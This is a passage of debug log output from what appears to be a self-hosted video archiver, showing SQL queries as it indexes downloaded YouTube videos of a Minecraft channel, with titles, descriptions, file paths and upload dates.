WHERE (s0."id" = ?) [30] 19:40:32.266 [debug] QUERY OK source="media_items" db=1.1ms idle=1987.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-08 23:00:02Z], 30] 19:40:32.267 [debug] QUERY OK source="media_items" db=0.6ms idle=1076.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "6131c0c2-320b-43e4-9ceb-6d9ef8b14bec", "2K_f7PL9mbs", false, "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, [], 1543, false, 13, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, false, 98, ~U[2026-05-08 23:00:02Z], ~U[2026-06-02 23:40:32Z], ~U[2026-06-02 23:40:32Z], "I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "2K_f7PL9mbs", "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, 1543, false, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, ~U[2026-05-08 23:00:02Z]] 19:40:32.267 [debug] QUERY OK source="sources" db=0.1ms idle=76.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:32.268 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:32.268 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [135272] 19:40:32.268 [debug] Current batch of media processed. Will check again in 1000ms 19:40:33.269 [debug] Current batch of media processed. Will check again in 1000ms 19:40:34.270 [debug] Current batch of media processed. Will check again in 1000ms 19:40:35.271 [debug] Current batch of media processed. Will check again in 1000ms 19:40:36.273 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1124, "filename" => "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", "id" => "USKZb_Xfhfk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=USKZb_Xfhfk", "playlist_index" => 14, "timestamp" => 1778108429, "title" => "How to Build a Working Subway Station in Minecraft", "upload_date" => "20260506"} 19:40:36.274 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=995.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:36.275 [debug] QUERY OK source="sources" db=0.5ms idle=996.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:36.278 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=997.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-06 23:00:29Z], 30] 19:40:36.279 [debug] QUERY OK source="media_items" db=0.8ms idle=999.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "b8718b7c-781c-4c4f-ab41-f7a1b9985272", "USKZb_Xfhfk", false, "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, [], 1124, false, 14, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, false, 98, ~U[2026-05-06 23:00:29Z], ~U[2026-06-02 23:40:36Z], ~U[2026-06-02 23:40:36Z], "Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "USKZb_Xfhfk", "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, 1124, false, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, ~U[2026-05-06 23:00:29Z]] 19:40:36.279 [debug] QUERY OK source="sources" db=0.1ms idle=81.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:36.280 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:36.280 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [134729] 19:40:36.280 [debug] Current batch of media processed. Will check again in 1000ms 19:40:37.281 [debug] Current batch of media processed. Will check again in 1000ms 19:40:38.282 [debug] Current batch of media processed. Will check again in 1000ms 19:40:39.283 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1287, "filename" => "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", "id" => "8ybvWyXgHek", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8ybvWyXgHek", "playlist_index" => 15, "timestamp" => 1777935609, "title" => "We Kicked Out of the Planet!", "upload_date" => "20260504"} 19:40:39.285 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1005.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:39.286 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1007.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:39.289 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1008.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-04 23:00:09Z], 30] 19:40:39.290 [debug] QUERY OK source="media_items" db=0.7ms idle=1010.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "ea3abdea-b54e-4e66-987c-143abaf92f68", "8ybvWyXgHek", false, "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, [], 1287, false, 15, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, false, 98, ~U[2026-05-04 23:00:09Z], ~U[2026-06-02 23:40:39Z], ~U[2026-06-02 23:40:39Z], "SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "8ybvWyXgHek", "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, 1287, false, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, ~U[2026-05-04 23:00:09Z]] 19:40:39.290 [debug] QUERY OK source="sources" db=0.2ms idle=88.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:39.291 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:39.291 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [134189] 19:40:39.291 [debug] Current batch of media processed. Will check again in 1000ms 19:40:40.292 [debug] Current batch of media processed. Will check again in 1000ms 19:40:41.293 [debug] Current batch of media processed. Will check again in 1000ms 19:40:42.294 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1120, "filename" => "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", "id" => "77bY5u7lOGs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=77bY5u7lOGs", "playlist_index" => 16, "timestamp" => 1777762807, "title" => "Who’s Hiding Behind Milo’s Mask in Minecraft?", "upload_date" => "20260502"} 19:40:42.295 [debug] QUERY OK source="sources" db=0.2ms idle=1016.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:42.295 [debug] QUERY OK source="sources" db=0.1ms idle=1016.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:42.296 [debug] QUERY OK source="media_items" db=0.9ms idle=1017.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-02 23:00:07Z], 30] 19:40:42.297 [debug] QUERY OK source="media_items" db=0.6ms idle=1018.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "ce3cb4b9-3896-49e1-8a5a-85421923171c", "77bY5u7lOGs", false, "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, [], 1120, false, 16, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, false, 98, ~U[2026-05-02 23:00:07Z], ~U[2026-06-02 23:40:42Z], ~U[2026-06-02 23:40:42Z], "REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "77bY5u7lOGs", "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, 1120, false, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, ~U[2026-05-02 23:00:07Z]] 19:40:42.297 [debug] QUERY OK source="sources" db=0.1ms idle=92.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:42.298 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:42.298 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133922] 19:40:42.298 [debug] Current batch of media processed. Will check again in 1000ms 19:40:43.299 [debug] Current batch of media processed. Will check again in 1000ms 19:40:44.300 [debug] Current batch of media processed. Will check 